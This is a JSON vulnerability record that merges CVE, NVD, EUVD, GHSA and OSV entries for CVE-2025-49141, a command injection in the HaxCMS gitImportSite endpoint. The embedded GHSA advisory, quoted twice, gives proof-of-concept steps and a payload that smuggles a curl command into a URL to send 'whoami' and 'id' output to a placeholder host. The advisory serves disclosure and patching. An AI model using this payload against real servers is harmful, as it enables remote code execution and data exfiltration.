{"id":"CVE-2025-49141","aliases":["EUVD-2025-17578","GHSA-g4cf-pp4x-hqgw"],"status":"published","title":"HaxCMS-PHP Command Injection Vulnerability","description":"HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.01554,"percentile":0.75511,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2025-06-09T20:30:34Z","modified":"2026-10-28T02:31:04Z","fixes":[{"ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","fixed_in":["11.0.3"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.0.3"}]}]},{"source":"osv","ecosystem":"npm","package":"@haxtheweb/haxcms-nodejs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"11.0.3"}]}]}],"products":[{"vendor":"haxtheweb","product":"issues"},{"vendor":"psu","product":"haxcms-nodejs"},{"vendor":"psu","product":"haxcms-php"}],"references":[{"url":"https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw","tags":["x_refsource_CONFIRM","exploit","Exploit","Issue Tracking","Third Party Advisory","advisory","web"]},{"url":"https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-49141","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-g4cf-pp4x-hqgw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/49xxx/CVE-2025-49141.json","tags":["advisory"]},{"url":"https://github.com/haxtheweb/haxcms-nodejs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-49141","title":"HaxCMS-PHP Command Injection Vulnerability","description":"HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.","status":"published","published":"2025-06-09T21:11:08.889Z","modified":"2025-06-10T15:29:29.971Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:24.825718Z"}],"euvd":[{"id":"EUVD-2025-17578","description":"HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.","status":"published","published":"2025-06-09T21:11:08Z","modified":"2025-06-10T15:29:29Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T20:32:26.841647Z"}],"ghsa":[{"id":"GHSA-g4cf-pp4x-hqgw","title":"HaxCMS-PHP Command Injection Vulnerability","description":"### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\\u003cdomain\\\u003e/\\\u003cuser\\\u003e/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)\n\n3.  Capture and modify the request in BurpSuite.\n![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)\n\n\n#### Command Injection Payload\n```Bash\nhttp://\u003cIP\u003e/.git;curl${IFS}\u003cIP\u003e/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.","status":"published","published":"2025-06-09T20:30:34Z","modified":"2025-06-20T17:24:52Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:38:47.835488Z"}],"nvd":[{"id":"CVE-2025-49141","description":"HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.","status":"published","published":"2025-06-09T21:15:47.36Z","modified":"2026-06-17T09:30:49Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:11:11.4244Z"}],"osv":[{"id":"CVE-2025-49141","title":"HaxCMS-PHP Command Injection Vulnerability","description":"HAX CMS PHP allows users to manage their microsite universe with a PHP backend. Prior to version 11.0.3, the `gitImportSite` functionality obtains a URL string from a POST request and insufficiently validates user input. The `set_remote` function later passes this input into `proc_open`, yielding OS command injection. An authenticated attacker can craft a URL string that bypasses the validation checks employed by the `filter_var` and `strpos` functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request. Version 11.0.3 contains a patch for the issue.","status":"published","published":"2025-06-09T21:11:08.889Z","modified":"2026-10-28T02:31:04.78181902Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:44:50.037003Z"},{"id":"GHSA-g4cf-pp4x-hqgw","title":"HaxCMS-PHP Command Injection Vulnerability","description":"### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\\u003cdomain\\\u003e/\\\u003cuser\\\u003e/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)\n\n3.  Capture and modify the request in BurpSuite.\n![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)\n\n\n#### Command Injection Payload\n```Bash\nhttp://\u003cIP\u003e/.git;curl${IFS}\u003cIP\u003e/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.","status":"published","published":"2025-06-09T20:30:34Z","modified":"2026-09-10T03:50:25.29103505Z","cvss":[{"version":"3.1","score":8.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:47.119724Z"}]}}